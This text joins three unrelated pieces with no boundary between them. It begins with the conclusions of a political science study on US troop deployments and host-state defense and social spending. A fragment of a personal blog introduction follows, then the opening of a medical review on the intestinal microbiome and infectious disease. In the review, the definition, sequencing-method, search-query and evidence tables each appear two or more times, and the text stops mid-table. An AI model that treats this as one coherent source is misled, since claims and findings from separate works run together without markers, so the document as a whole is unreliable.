The primary difference between the results in Tables 1 and 2 emerges in the non-allies sample (Model 4), where troops fail to attain statistical significance. We believe this is partly due to the sample size change in the two estimations caused by the inclusion of more variables. Our general model (Model 1) loses over 75% of its data in the same time period due to the lack of coverage for education expenditures. Of the 4,634 missing observations, 1594 (34%) of them are not allied with the United States, perhaps suggesting that the coverage bias in the IMF data is systematic. If we estimate Model 4 in Table 1 only using the same observations from Model 4 in Table 2, the troop variable becomes insignificant, verifying the problem with the limited sample in Table 2. Hence, we have reason to expect that non-significance is a product of missing data.
Beyond the number of troops in any given country, the spatial measure of troop deployments in a given region generally increases the defense expenditures of the observed state. These results mirror Table 1, with the exception of Model 2, where the spatial variable does not attain significance. The remaining control variables generally reflect the results in Table 1 as well, offering little insight into endogeneity between the coefficients.
Finally, the estimation for social spending does not behave as we expected. While previous studies have found this result ( Russett 1982 ; Mintz and Huang 1991 ), we only find it in specific samples we examine. For the full sample and non-allies sample, we are unable to distinguish whether troops or defense have an impact on education spending. Defense spending also fails to reach significance for Model 3 (NATO Allies). However, for non-NATO allies, social spending increases with defense spending. These results could be due to the guns versus butter model being mis-specified, our choice of using a subcomponent of social spending instead of capturing all social spending, the gain in defense goods not being enough to provide extra resources for education spending, or that these types of governments are more likely to pursue austerity. With NATO allies, however, US troop deployments do have a negative impact on social spending. This provides further evidence that ties with the United States are demanding enough on NATO allies to negatively impact social spending.
For predicting troop deployments, the lagged values of previous deployments are a consistent predictor of the following year's troop deployments. The average of MIDs and the threat environment both are positive predictors for troop deployments in the all states model and MIDs remain significant for non-allies as well. However, the most important variable of note is the 2-year lagged value for defense expenditures as a percentage of GDP. For all states and non-allies, the less the state spends on defense, the more troops the United States is likely to deploy to that area. However, there is a substantial positive relationship between the host-state's defense burden and troop deployments for NATO states. The United States deploys more troops to NATO allies when they increase spending on their own defense—this is a positive feedback loop for NATO allies. The magnitude of the variable dwarfs all other predictors for troop deployments in other countries. Thus, the previous model understates the indirect effects of the variables as they have indirect influences into the number of troops posted to a state.
Conclusions
Our results show that the deployment of US troops to a state influences the foreign policy decisions of that state. The negative effect of US troop deployments on host-state defense spending is on par with the negative effect of democracy. Broadly, these findings support those from previous research on the link between US troop deployments and host-state foreign policy behavior ( Lake 2009 ; Machain and Morgan 2013 ).
Our findings also indicate that the effect of US troop deployments on the foreign policy decisions of states varies for different kinds of states. NATO states increase their own defense burden as the size of the deployment grows, while other states respond to US military deployments by decreasing their defense burdens. These results support the expectations derived from Lake's ( 1999, 2009 ) discussion of hierarchy in international relations, but with one caveat: the specific terms of the contract between the United States and a host-state can determine the host-state's reaction to the presence of US military forces. However, it is important to emphasize that this qualification is not in fact at odds with Lake's theory. Indeed, Lake ( 2009 :3) builds the theory of hierarchy upon the notion that sovereignty and authority can be ceded to dominant states in a variety of ways. Lake has also devoted attention elsewhere to the incentives leading states to cooperate in security affairs, noting that the ability of states to contribute to the security of the dominant state will partially determine the form of the relationship between the dominant and subordinate state (see Lake 1999 ). This logic is similar to previous theoretical work on the security–autonomy trade-off in alliances ( Morrow 1991 ). Accordingly, our findings advance the understanding of hierarchical relations between states by attempting to identify specific factors that can affect the nature of the security relationships that the United States establishes with those states.
We also find that the presence of foreign troops in the region around the host-state affects government spending on defense. Larger regional deployments lead states to increase their defense burdens. For NATO states, this positive response to larger regional deployments makes sense given the nature of the contract between them. However, the positive effect for the models including all states, non-NATO allies, and non-allies is at odds with our theoretical expectations. Lake's (2009) theory of hierarchy leads us to expect that states subordinate to the United States will decrease their defense expenditures. By extension, we expect states surrounded by large US deployments to decrease their own expenditures as their neighbors lower theirs. However, we find evidence of an opposite effect.
Several possible theories can explain this relationship. There may be a regional threat that the US troop presence is capturing, which is causing increased defense spending. Additionally, non-allies of the United States may increase defense spending because they feel threatened by the US presence in the region. Similarly, states hosting US troops are more likely to initiate militarized conflicts ( Machain and Morgan 2013 ). If hosting troops leads states to behave in a more bellicose way, states surrounded by countries hosting large deployments may increase defense spending. More research is required to understand better the nature of this causal process, but our results suggest the importance of examining troop deployments in a spatial context.
Lastly, more work can be done to unpack the factors that motivate the United States to demand more or less autonomy in exchange for the provision of security. Our weak findings as to any relationship between troop deployments and defense spending in non-NATO allied states is informative on this point. While NATO has historically and theoretically stood out as unique, it is possible that there is heterogeneity among non-NATO allies. Future work should seek to build upon the findings presented here to better identify the specific characteristics that drive allied states to increase or decrease their defense expenditures in response to the deployment of US troops.
References
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– which is the subject that I specialized in for four decades. That too is now, therefore, a part of the contribution.
And, in my retirement, I have become curious about Native Americans and what they looked like. And so I am now learning Poser and related programs, and may inject both posts and the odd illustration – helped by the many real artists who work in that medium, as I read and try and comprehend what went on in the depths of The Little Ice Age (around 1600 – 1700).
Because I am a Celt, there will also be the odd post on my lineage and some of the DNA studies that relate to history.
So, if you can stand the confusion, welcome to the site.Abstract
The field of infectious disease is undergoing a paradigm shift as the intestinal microbiome is becoming understood. The aim of this review is to inform infectious disease physicians of the potential relevance of the intestinal microbiome to their practice. We searched Medline using both index and text words relating to infectious diseases, microbiome, and probiotics. Relevant articles published up through 2017 were reviewed within Rayyan. The review illustrates pathophysiologic concepts linking the microbiome and infectious diseases; specifically, the intestinal microbiome’s relevance to early immune development, the microbiome and enteric infections, the microbiome’s relevance in compromised hosts, and antimicrobial resistance. Within each subject, there are specific examples of diseases and at-risk patient populations where a role for the microbiome has been strongly established. This provides an overview of the significance of the intestinal microbiome to microbiology, pediatric and adult infectious diseases with an underpinning of concepts useful for the practicing clinician.
The fields of clinical microbiology and infectious diseases are undergoing a paradigm shift as the intricate interactions between the intestinal microbiome, the immune system, and human pathogens are slowly being untwined. The human microbiome is the collective genome of trillions of bacteria, archaea, fungi, viruses, and eukaryotes, which can be conceptualized as a complex ecosystem existing within and on the human host (see list of definitions in Table 1) [1]. The largest and most heterogeneous of these microbial communities is found in the gastrointestinal tract. Infectious disease physicians and microbiologists, long trained in recognizing and treating individual human pathogens, are increasingly recognizing a need to incorporate the findings arising from the nascent microbiome field into their daily clinical practice.
Table 1. Term List of Definitions Microbiome The collection of all genomes of microorganisms from a defined environment, such as the human intestine. Microbiota The collection of all microorganisms in a defined environment, such as the human intestine.
Virome: The collection of all viruses in a defined environment, such as the human intestine. Mycobiome The collection of all fungi in a defined environment, such as the human intestine. Resistome: The collection of all antimicrobial resistance genomes derived from microorganisms from a defined environment, such as the human intestine. Ecosystem The complex of a community of organisms and its environment functioning as an ecological unit. Ecology The totality or pattern of relations between organisms and their environment. Commensal microbiome Often referred to as an ensemble of microorganisms that reside in close proximity and in mutualistic relation with the host. However, the more correct term describing the resident microbiota in the intestines may be “Amphibiont” organisms that may have a pathogenic (detrimental), commensal (neutral), or symbiotic relationship (beneficial) with the host. We therefore use the term, “resident microbiota” in this review to describe the aggregate (pathogenic, commensal, symbiotic) endogenous microbiota in the intestine. Pathobionts Potentially pathogenic microorganisms residing in the microbiota. Dysbiosis A perturbation that departs from an otherwise balanced ecology to prolong, exacerbate, or induce a detrimental health effect. Prebiotics Nutritional substrates that promote the growth of microbes that confer a health benefit on the host. Probiotics A live microorganism that, when administered in adequate amounts, confer a health benefit on the host. Synbiotics Formulations consisting of a combination of pre- and probiotics. Fecal Microbiota Transplantation (FMT) The introduction of a liquid filtrate of stools from a healthy donor into the gastrointestinal tract of an ill patient. Selective Decontamination of the Digestive Tract (SDD) Use of daily antibiotics with the aim of preventing hospital-acquired infections while preserving the anaerobic microbiota. Term List of Definitions Microbiome The collection of all genomes of microorganisms from a defined environment, such as the human intestine. Microbiota The collection of all microorganisms in a defined environment, such as the human intestine.
Virome: The collection of all viruses in a defined environment, such as the human intestine. Mycobiome The collection of all fungi in a defined environment, such as the human intestine. Resistome: The collection of all antimicrobial resistance genomes derived from microorganisms from a defined environment, such as the human intestine. Ecosystem The complex of a community of organisms and its environment functioning as an ecological unit. Ecology The totality or pattern of relations between organisms and their environment. Commensal microbiome Often referred to as an ensemble of microorganisms that reside in close proximity and in mutualistic relation with the host. However, the more correct term describing the resident microbiota in the intestines may be “Amphibiont” organisms that may have a pathogenic (detrimental), commensal (neutral), or symbiotic relationship (beneficial) with the host. We therefore use the term, “resident microbiota” in this review to describe the aggregate (pathogenic, commensal, symbiotic) endogenous microbiota in the intestine. Pathobionts Potentially pathogenic microorganisms residing in the microbiota. Dysbiosis A perturbation that departs from an otherwise balanced ecology to prolong, exacerbate, or induce a detrimental health effect. Prebiotics Nutritional substrates that promote the growth of microbes that confer a health benefit on the host. Probiotics A live microorganism that, when administered in adequate amounts, confer a health benefit on the host. Synbiotics Formulations consisting of a combination of pre- and probiotics. Fecal Microbiota Transplantation (FMT) The introduction of a liquid filtrate of stools from a healthy donor into the gastrointestinal tract of an ill patient. Selective Decontamination of the Digestive Tract (SDD) Use of daily antibiotics with the aim of preventing hospital-acquired infections while preserving the anaerobic microbiota. View Large
Table 1. Term List of Definitions Microbiome The collection of all genomes of microorganisms from a defined environment, such as the human intestine. Microbiota The collection of all microorganisms in a defined environment, such as the human intestine.
Virome: The collection of all viruses in a defined environment, such as the human intestine. Mycobiome The collection of all fungi in a defined environment, such as the human intestine. Resistome: The collection of all antimicrobial resistance genomes derived from microorganisms from a defined environment, such as the human intestine. Ecosystem The complex of a community of organisms and its environment functioning as an ecological unit. Ecology The totality or pattern of relations between organisms and their environment. Commensal microbiome Often referred to as an ensemble of microorganisms that reside in close proximity and in mutualistic relation with the host. However, the more correct term describing the resident microbiota in the intestines may be “Amphibiont” organisms that may have a pathogenic (detrimental), commensal (neutral), or symbiotic relationship (beneficial) with the host. We therefore use the term, “resident microbiota” in this review to describe the aggregate (pathogenic, commensal, symbiotic) endogenous microbiota in the intestine. Pathobionts Potentially pathogenic microorganisms residing in the microbiota. Dysbiosis A perturbation that departs from an otherwise balanced ecology to prolong, exacerbate, or induce a detrimental health effect. Prebiotics Nutritional substrates that promote the growth of microbes that confer a health benefit on the host. Probiotics A live microorganism that, when administered in adequate amounts, confer a health benefit on the host. Synbiotics Formulations consisting of a combination of pre- and probiotics. Fecal Microbiota Transplantation (FMT) The introduction of a liquid filtrate of stools from a healthy donor into the gastrointestinal tract of an ill patient. Selective Decontamination of the Digestive Tract (SDD) Use of daily antibiotics with the aim of preventing hospital-acquired infections while preserving the anaerobic microbiota. Term List of Definitions Microbiome The collection of all genomes of microorganisms from a defined environment, such as the human intestine. Microbiota The collection of all microorganisms in a defined environment, such as the human intestine.
Virome: The collection of all viruses in a defined environment, such as the human intestine. Mycobiome The collection of all fungi in a defined environment, such as the human intestine. Resistome: The collection of all antimicrobial resistance genomes derived from microorganisms from a defined environment, such as the human intestine. Ecosystem The complex of a community of organisms and its environment functioning as an ecological unit. Ecology The totality or pattern of relations between organisms and their environment. Commensal microbiome Often referred to as an ensemble of microorganisms that reside in close proximity and in mutualistic relation with the host. However, the more correct term describing the resident microbiota in the intestines may be “Amphibiont” organisms that may have a pathogenic (detrimental), commensal (neutral), or symbiotic relationship (beneficial) with the host. We therefore use the term, “resident microbiota” in this review to describe the aggregate (pathogenic, commensal, symbiotic) endogenous microbiota in the intestine. Pathobionts Potentially pathogenic microorganisms residing in the microbiota. Dysbiosis A perturbation that departs from an otherwise balanced ecology to prolong, exacerbate, or induce a detrimental health effect. Prebiotics Nutritional substrates that promote the growth of microbes that confer a health benefit on the host. Probiotics A live microorganism that, when administered in adequate amounts, confer a health benefit on the host. Synbiotics Formulations consisting of a combination of pre- and probiotics. Fecal Microbiota Transplantation (FMT) The introduction of a liquid filtrate of stools from a healthy donor into the gastrointestinal tract of an ill patient. Selective Decontamination of the Digestive Tract (SDD) Use of daily antibiotics with the aim of preventing hospital-acquired infections while preserving the anaerobic microbiota. View Large
Much of the current understanding of the intestinal microbiome is made possible by the application of culture-independent, high-throughput deoxyribonucleic acids equencing techniques to describe the community structures and functions of the microorganisms (microbiota) residing in the human intestinal tract. These techniques are described in detail in several excellent reviews [2, 3] and briefly in Table 2.
Table 2. Name Purpose Method Biomarker Sequencing Studies of the sequence variation of 1 ubiquitous gene (eg, 16S ribosomal ribonucleic acid [RNA] for bacteria) to describe microbial composition within an environmental study Next-generation sequencing Metagenomics Studies of the function of all genetic material within an environmental study Next-generation sequencing Metatranscriptomics Studies of gene expression at the RNA level Next-generation sequencing Metaproteomics Studies of gene expression at the protein level Liquid or gas chromatography, mass spectometry Metabolomics Studies of metabolite formation by the microbiota Liquid or gas chromatography, mass spectometry Name Purpose Method Biomarker Sequencing Studies of the sequence variation of 1 ubiquitous gene (eg, 16S ribosomal ribonucleic acid [RNA] for bacteria) to describe microbial composition within an environmental study Next-generation sequencing Metagenomics Studies of the function of all genetic material within an environmental study Next-generation sequencing Metatranscriptomics Studies of gene expression at the RNA level Next-generation sequencing Metaproteomics Studies of gene expression at the protein level Liquid or gas chromatography, mass spectometry Metabolomics Studies of metabolite formation by the microbiota Liquid or gas chromatography, mass spectometry View Large
Table 2. Name Purpose Method Biomarker Sequencing Studies of the sequence variation of 1 ubiquitous gene (eg, 16S ribosomal ribonucleic acid [RNA] for bacteria) to describe microbial composition within an environmental study Next-generation sequencing Metagenomics Studies of the function of all genetic material within an environmental study Next-generation sequencing Metatranscriptomics Studies of gene expression at the RNA level Next-generation sequencing Metaproteomics Studies of gene expression at the protein level Liquid or gas chromatography, mass spectometry Metabolomics Studies of metabolite formation by the microbiota Liquid or gas chromatography, mass spectometry Name Purpose Method Biomarker Sequencing Studies of the sequence variation of 1 ubiquitous gene (eg, 16S ribosomal ribonucleic acid [RNA] for bacteria) to describe microbial composition within an environmental study Next-generation sequencing Metagenomics Studies of the function of all genetic material within an environmental study Next-generation sequencing Metatranscriptomics Studies of gene expression at the RNA level Next-generation sequencing Metaproteomics Studies of gene expression at the protein level Liquid or gas chromatography, mass spectometry Metabolomics Studies of metabolite formation by the microbiota Liquid or gas chromatography, mass spectometry View Large
As the genetic composition and functionality of the bacterial intestinal microbiome is charted in greater detail, essential roles have emerged for the intestinal microbiome in human physiology. Conceptualized as “the last undiscovered human organ” [4], the intestinal microbiome influences the development and differentiation of the immune system (described in more detail below), it is critical in energy metabolism and catabolism, and it modulates bile and lipid metabolism, endocrine regulation, neurologic signaling, and drug metabolism, among other roles. Imbalance in the microbiota composition or function, or dysbiosis, also associate with numerous diseases ranging from inflammatory bowel disease and atopy to diabetes, obesity, and arthritis [5, 6]. Due to the infancy of intestinal microbiome research, animal studies and associative data predominate the field. Although numerous studies correlate microbiome composition and function with disease states, studies are widely heterogeneous, and few clearly demonstrate a clear pathophysiologic mechanism and causality.
This review attempts to offer the clinical microbiologist and infectious disease physician 2 things: (1) an overview of concepts that can provide a pathophysiologic frame of reference for the interaction between the microbiome and infectious diseases and (2) specific examples of infectious diseases and at-risk patient populations where a role for the microbiome has been strongly established. This is supplemented by a tabular (Table 4) and pictorial overview (Figure 1) of all those infectious diseases in which a clinical correlation between a disease and the microbiome exist.
Figure 1. View largeDownload slide A schematic overview of the infectious diseases in which there is a proven therapeutic role for microbiome manipulation through either probiotics or fecal microbiota transplantation (left panel) and an overview of the subjects for which there is a strong correlation between microbiome composition and risk of infectious disease (right panel). AAD, antibiotic-associated diarrhea; ICU, intensive care unit; NEC, necrotizing enterocolitis; P. falciparum, Plasmodium falciparum; SDD, selective digestive tract decontamination; VAP, ventilator-associated pneumonia.
Figure 1. View largeDownload slide A schematic overview of the infectious diseases in which there is a proven therapeutic role for microbiome manipulation through either probiotics or fecal microbiota transplantation (left panel) and an overview of the subjects for which there is a strong correlation between microbiome composition and risk of infectious disease (right panel). AAD, antibiotic-associated diarrhea; ICU, intensive care unit; NEC, necrotizing enterocolitis; P. falciparum, Plasmodium falciparum; SDD, selective digestive tract decontamination; VAP, ventilator-associated pneumonia.
SEARCH STRATEGY AND SELECTION CRITERIA
We searched Medline using both index and text words for infectious diseases, microbiome, and probiotics. The full search query and database details can be found in Table 3. Relevant articles published up through 2017 were reviewed within Rayyan. Articles published in English, French, German, and Dutch were included. Articles were screened by abstract and only included if there was a correlation between the risk, prevention, or treatment of an infectious disease and either the composition of the microbiome or manipulation of the microbiome. Manipulation included pre-, pro-, and synbiotics, fecal microbiota transplantation (FMT), or antimicrobial therapies. Only human studies were included. Table 4 provides a summary of the search findings, with an overview of all infectious diseases in which treatment targeting the microbiome has been tested.
Table 3. No. Review Search Criteria Results Searches 1 exp Enterocolitis, Necrotizing/ or exp Sepsis/ or exp Pneumonia, Ventilator-Associated/ or exp Pseudomonas aeruginosa/ or exp Critical Illness/ or exp Diarrhea/ or exp Clostridium difficile/ or exp Vaccination/ or exp Gastroenteritis/ or exp Stem Cell Transplantation/ or (“necrotizing enterocolitis” or NEC or sepsis or septic or “systemic infection” or “ventilator-associated pneumonia” or VAP or aeruginosa or (critical* adj ill*) or diarrhea or difficile or clostridium or vaccin* or Gastroenteritis or “stem cell”).ti,ab,kf. 927 799 2 “Gastrointestinal Microbiome”/ or dysbiosis/ or (“gut flora” or “fecal bacteria” or “commensal bacteria” or “fecal bacterial flora” or “enteric bacterial flora” or microbiome or “commensal microbes” or “gut microflora” or “intestinal microbial communities” or “intestinal bacteria” or dysbiosis or resistomes or metagenom*).ab. /freq=2 7082 3 exp probiotics/ or exp prebiotics/ or exp synbiotics/ or exp Bifidobacterium/ or exp “Fecal Microbiota Transplantation”/ or (probiotic* or microbial supplement* or prebiotic* or synbiotic* or bifidobacterium or BBG-01 or clostridium scindens or bifidobacteria or bifidobacterium or “fecal microbiota transplantation” or FMT or fecal suspension or “fecal transplantation” or “fecal transfer” or “fecal infusion” or bacteriotherapy or “fecal donation” or selective decontamination).ab. /freq=2 18 450 4 (2 or 3) and 1 5447 5 exp animals/ not humans/ 4 240 420 6 4 not 5 4463 Search 01-02-2017 in Ovid MEDLINE(R) In-Process & Other Non-Indexed Citations and Ovid MEDLINE(R) 1946 to Present. No. Review Search Criteria Results Searches 1 exp Enterocolitis, Necrotizing/ or exp Sepsis/ or exp Pneumonia, Ventilator-Associated/ or exp Pseudomonas aeruginosa/ or exp Critical Illness/ or exp Diarrhea/ or exp Clostridium difficile/ or exp Vaccination/ or exp Gastroenteritis/ or exp Stem Cell Transplantation/ or (“necrotizing enterocolitis” or NEC or sepsis or septic or “systemic infection” or “ventilator-associated pneumonia” or VAP or aeruginosa or (critical* adj ill*) or diarrhea or difficile or clostridium or vaccin* or Gastroenteritis or “stem cell”).ti,ab,kf. 927 799 2 “Gastrointestinal Microbiome”/ or dysbiosis/ or (“gut flora” or “fecal bacteria” or “commensal bacteria” or “fecal bacterial flora” or “enteric bacterial flora” or microbiome or “commensal microbes” or “gut microflora” or “intestinal microbial communities” or “intestinal bacteria” or dysbiosis or resistomes or metagenom*).ab. /freq=2 7082 3 exp probiotics/ or exp prebiotics/ or exp synbiotics/ or exp Bifidobacterium/ or exp “Fecal Microbiota Transplantation”/ or (probiotic* or microbial supplement* or prebiotic* or synbiotic* or bifidobacterium or BBG-01 or clostridium scindens or bifidobacteria or bifidobacterium or “fecal microbiota transplantation” or FMT or fecal suspension or “fecal transplantation” or “fecal transfer” or “fecal infusion” or bacteriotherapy or “fecal donation” or selective decontamination).ab. /freq=2 18 450 4 (2 or 3) and 1 5447 5 exp animals/ not humans/ 4 240 420 6 4 not 5 4463 Search 01-02-2017 in Ovid MEDLINE(R) In-Process & Other Non-Indexed Citations and Ovid MEDLINE(R) 1946 to Present. View Large
Table 3. No. Review Search Criteria Results Searches 1 exp Enterocolitis, Necrotizing/ or exp Sepsis/ or exp Pneumonia, Ventilator-Associated/ or exp Pseudomonas aeruginosa/ or exp Critical Illness/ or exp Diarrhea/ or exp Clostridium difficile/ or exp Vaccination/ or exp Gastroenteritis/ or exp Stem Cell Transplantation/ or (“necrotizing enterocolitis” or NEC or sepsis or septic or “systemic infection” or “ventilator-associated pneumonia” or VAP or aeruginosa or (critical* adj ill*) or diarrhea or difficile or clostridium or vaccin* or Gastroenteritis or “stem cell”).ti,ab,kf. 927 799 2 “Gastrointestinal Microbiome”/ or dysbiosis/ or (“gut flora” or “fecal bacteria” or “commensal bacteria” or “fecal bacterial flora” or “enteric bacterial flora” or microbiome or “commensal microbes” or “gut microflora” or “intestinal microbial communities” or “intestinal bacteria” or dysbiosis or resistomes or metagenom*).ab. /freq=2 7082 3 exp probiotics/ or exp prebiotics/ or exp synbiotics/ or exp Bifidobacterium/ or exp “Fecal Microbiota Transplantation”/ or (probiotic* or microbial supplement* or prebiotic* or synbiotic* or bifidobacterium or BBG-01 or clostridium scindens or bifidobacteria or bifidobacterium or “fecal microbiota transplantation” or FMT or fecal suspension or “fecal transplantation” or “fecal transfer” or “fecal infusion” or bacteriotherapy or “fecal donation” or selective decontamination).ab. /freq=2 18 450 4 (2 or 3) and 1 5447 5 exp animals/ not humans/ 4 240 420 6 4 not 5 4463 Search 01-02-2017 in Ovid MEDLINE(R) In-Process & Other Non-Indexed Citations and Ovid MEDLINE(R) 1946 to Present. No. Review Search Criteria Results Searches 1 exp Enterocolitis, Necrotizing/ or exp Sepsis/ or exp Pneumonia, Ventilator-Associated/ or exp Pseudomonas aeruginosa/ or exp Critical Illness/ or exp Diarrhea/ or exp Clostridium difficile/ or exp Vaccination/ or exp Gastroenteritis/ or exp Stem Cell Transplantation/ or (“necrotizing enterocolitis” or NEC or sepsis or septic or “systemic infection” or “ventilator-associated pneumonia” or VAP or aeruginosa or (critical* adj ill*) or diarrhea or difficile or clostridium or vaccin* or Gastroenteritis or “stem cell”).ti,ab,kf. 927 799 2 “Gastrointestinal Microbiome”/ or dysbiosis/ or (“gut flora” or “fecal bacteria” or “commensal bacteria” or “fecal bacterial flora” or “enteric bacterial flora” or microbiome or “commensal microbes” or “gut microflora” or “intestinal microbial communities” or “intestinal bacteria” or dysbiosis or resistomes or metagenom*).ab. /freq=2 7082 3 exp probiotics/ or exp prebiotics/ or exp synbiotics/ or exp Bifidobacterium/ or exp “Fecal Microbiota Transplantation”/ or (probiotic* or microbial supplement* or prebiotic* or synbiotic* or bifidobacterium or BBG-01 or clostridium scindens or bifidobacteria or bifidobacterium or “fecal microbiota transplantation” or FMT or fecal suspension or “fecal transplantation” or “fecal transfer” or “fecal infusion” or bacteriotherapy or “fecal donation” or selective decontamination).ab. /freq=2 18 450 4 (2 or 3) and 1 5447 5 exp animals/ not humans/ 4 240 420 6 4 not 5 4463 Search 01-02-2017 in Ovid MEDLINE(R) In-Process & Other Non-Indexed Citations and Ovid MEDLINE(R) 1946 to Present. View Large
Table 4. Patient Category Disease Target and Known Effects Key Refs. Critically ill, adult VAP SDD for the prevention of respiratory tract infections. Probiotics for the prevention of VAP. Moderate evidence supports the indication. [1, 2] Mortality SDD and probiotics for the prevention of mortality. Strong evidence for SDD. No conclusions possible based on limited evidence for probiotics. [2–5] Critically ill, neonatal Necrotizing enterocolitis Probiotics for the prevention of NEC. Strong evidence supporting derived from meta-analyses supporting probiotics for prevention of NEC severity and mortality. However, recent RCT, not included in the meta-analysis, showed no benefit of probiotic in NEC. [6, 7, 39] Candidemia Probiotics tested for prevention of candidemia, Candida colonization, and candiduria. No conclusions possible based on limited evidence [8] Late-onset sepsis Probiotics for the prevention of late-onset sepsis in preterm infants. Moderate evidence supporting probiotics for the prevention of late-onset mortality. [7, 9] Surgical Trauma Probiotics for the prevention of “infectious complications” and mortality. SDD for prevention of “infectious complications and mortality”. Heterogeneous studies, with some support for use, no conclusions possible based on limited evidence. [10, 11] Post-GI surgery Probiotics for the prevention of infectious complications and mortality. Heterogenous studies, with some support for use. No conclusions possible based on limited evidence. [12, 13] Oncology and hematology HSCT and chemotherapy complications Microbiome composition and diversity can act as a predictor for the risk of blood stream and other infections. FMT (study ongoing) and probiotics to decrease infectious complications and GvHD—no conclusions possible based on limited evidence to date. [14–16] Mucositis Probiotics for the prevention and treatment of chemotherapy and radiation-induced mucositis and diarrhea. Few studies, significant heterogeneity, no conclusions possible based on limited evidence. [17, 18] HIV Disease progression Probiotics and synbiotics for improvement of immune function. Small, heterogeneous studies, no conclusions possible based on limited evidence. [19] Diarrhea Probiotics to decrease diarrhea in HIV patients. Small, heterogeneous studies, no conclusions possible based on limited evidence. [20] Upper respiratory Upper respiratory tract infection Probiotics for prevention of URTI in children. Small, heterogeneous studies, some support of use, no conclusions possible based on limited evidence. [21, 22] Gastrointestinal Clostridium difficile and antibiotic-associated diarrhea FMT effective as treatment for refractory C difficile. Bacteriotherapy for prevention. Probiotics for prevention. Moderate quality evidence suggests probiotics are safe and effective. [23–25] Acute infectious gastroenteritis Probiotics for the prevention and treatment of infectious gastroenteritis. Evidence supports probiotics use in the treatment of persistent diarrhea in pediatric patients and shortening and reducing stool frequency in adults and infants. [26, 27] Traveler’s diarrhea Probiotics for the prevention of traveler’s diarrhea. Limited and inconclusive evidence that probiotics prevent traveler’s diarrhea. [28, 29] Amebiasis Probiotics for the treatment of amebiasis in children. No conclusions possible based on limited evidence. [30] Helicobacter pylori Probiotics for the adjunctive treatment of H pylori. No evidence probiotics improve eradication. [31] Spontaneous bacterial peritonitis Probiotics for the prevention of SBP in patients with ascites. No evidence that probiotics prevent SBP. [32] Urogenital Urinary tract infection Probiotics for the prevention of (recurrent) UTI. No significant benefit, no conclusions possible based on limited evidence. [33] Antimicrobial resistance Multiresistant infections or colonization FMT for treatment of multidrug-resistant colonization and AMR genes. FMT can reduce antibiotic-resistant organisms and genes, but evidence to date of clinical consequences only in case series and reports. [34–36] Vaccines Polio vaccine, rotoavirus vaccine Antibiotics (azithromycine) to improve oral polio vaccine efficacy showed no effect. There is a significant association between microbiome composition and rotavirus vaccine. [37, 38] Patient Category Disease Target and Known Effects Key Refs. Critically ill, adult VAP SDD for the prevention of respiratory tract infections. Probiotics for the prevention of VAP. Moderate evidence supports the indication. [1, 2] Mortality SDD and probiotics for the prevention of mortality. Strong evidence for SDD. No conclusions possible based on limited evidence for probiotics. [2–5] Critically ill, neonatal Necrotizing enterocolitis Probiotics for the prevention of NEC. Strong evidence supporting derived from meta-analyses supporting probiotics for prevention of NEC severity and mortality. However, recent RCT, not included in the meta-analysis, showed no benefit of probiotic in NEC. [6, 7, 39] Candidemia Probiotics tested for prevention of candidemia, Candida colonization, and candiduria. No conclusions possible based on limited evidence [8] Late-onset sepsis Probiotics for the prevention of late-onset sepsis in preterm infants. Moderate evidence supporting probiotics for the prevention of late-onset mortality. [7, 9] Surgical Trauma Probiotics for the prevention of “infectious complications” and mortality. SDD for prevention of “infectious complications and mortality”. Heterogeneous studies, with some support for use, no conclusions possible based on limited evidence. [10, 11] Post-GI surgery Probiotics for the prevention of infectious complications and mortality. Heterogenous studies, with some support for use. No conclusions possible based on limited evidence. [12, 13] Oncology and hematology HSCT and chemotherapy complications Microbiome composition and diversity can act as a predictor for the risk of blood stream and other infections. FMT (study ongoing) and probiotics to decrease infectious complications and GvHD—no conclusions possible based on limited evidence to date. [14–16] Mucositis Probiotics for the prevention and treatment of chemotherapy and radiation-induced mucositis and diarrhea. Few studies, significant heterogeneity, no conclusions possible based on limited evidence. [17, 18] HIV Disease progression Probiotics and synbiotics for improvement of immune function. Small, heterogeneous studies, no conclusions possible based on limited evidence. [19] Diarrhea Probiotics to decrease diarrhea in HIV patients. Small, heterogeneous studies, no conclusions possible based on limited evidence. [20] Upper respiratory Upper respiratory tract infection Probiotics for prevention of URTI in children. Small, heterogeneous studies, some support of use, no conclusions possible based on limited evidence. [21, 22] Gastrointestinal Clostridium difficile and antibiotic-associated diarrhea FMT effective as treatment for refractory C difficile. Bacteriotherapy for prevention. Probiotics for prevention. Moderate quality evidence suggests probiotics are safe and effective. [23–25] Acute infectious gastroenteritis Probiotics for the prevention and treatment of infectious gastroenteritis. Evidence supports probiotics use in the treatment of persistent diarrhea in pediatric patients and shortening and reducing stool frequency in adults and infants. [26, 27] Traveler’s diarrhea Probiotics for the prevention of traveler’s diarrhea. Limited and inconclusive evidence that probiotics prevent traveler’s diarrhea. [28, 29] Amebiasis Probiotics for the treatment of amebiasis in children. No conclusions possible based on limited evidence. [30] Helicobacter pylori Probiotics for the adjunctive treatment of H pylori. No evidence probiotics improve eradication. [31] Spontaneous bacterial peritonitis Probiotics for the prevention of SBP in patients with ascites. No evidence that probiotics prevent SBP. [32] Urogenital Urinary tract infection Probiotics for the prevention of (recurrent) UTI. No significant benefit, no conclusions possible based on limited evidence. [33] Antimicrobial resistance Multiresistant infections or colonization FMT for treatment of multidrug-resistant colonization and AMR genes. FMT can reduce antibiotic-resistant organisms and genes, but evidence to date of clinical consequences only in case series and reports. [34–36] Vaccines Polio vaccine, rotoavirus vaccine Antibiotics (azithromycine) to improve oral polio vaccine efficacy showed no effect. There is a significant association between microbiome composition and rotavirus vaccine. [37, 38] View Large
Table 4. Patient Category Disease Target and Known Effects Key Refs. Critically ill, adult VAP SDD for the prevention of respiratory tract infections. Probiotics for the prevention of VAP. Moderate evidence supports the indication. [1, 2] Mortality SDD and probiotics for the prevention of mortality. Strong evidence for SDD. No conclusions possible based on limited evidence for probiotics. [2–5] Critically ill, neonatal Necrotizing enterocolitis Probiotics for the prevention of NEC. Strong evidence supporting derived from meta-analyses supporting probiotics for prevention of NEC severity and mortality. However, recent RCT, not included in the meta-analysis, showed no benefit of probiotic in NEC. [6, 7, 39] Candidemia Probiotics tested for prevention of candidemia, Candida colonization, and candiduria. No conclusions possible based on limited evidence [8] Late-onset sepsis Probiotics for the prevention of late-onset sepsis in preterm infants. Moderate evidence supporting probiotics for the prevention of late-onset mortality. [7, 9] Surgical Trauma Probiotics for the prevention of “infectious complications” and mortality. SDD for prevention of “infectious complications and mortality”. Heterogeneous studies, with some support for use, no conclusions possible based on limited evidence. [10, 11] Post-GI surgery Probiotics for the prevention of infectious complications and mortality. Heterogenous studies, with some support for use. No conclusions possible based on limited evidence. [12, 13] Oncology and hematology HSCT and 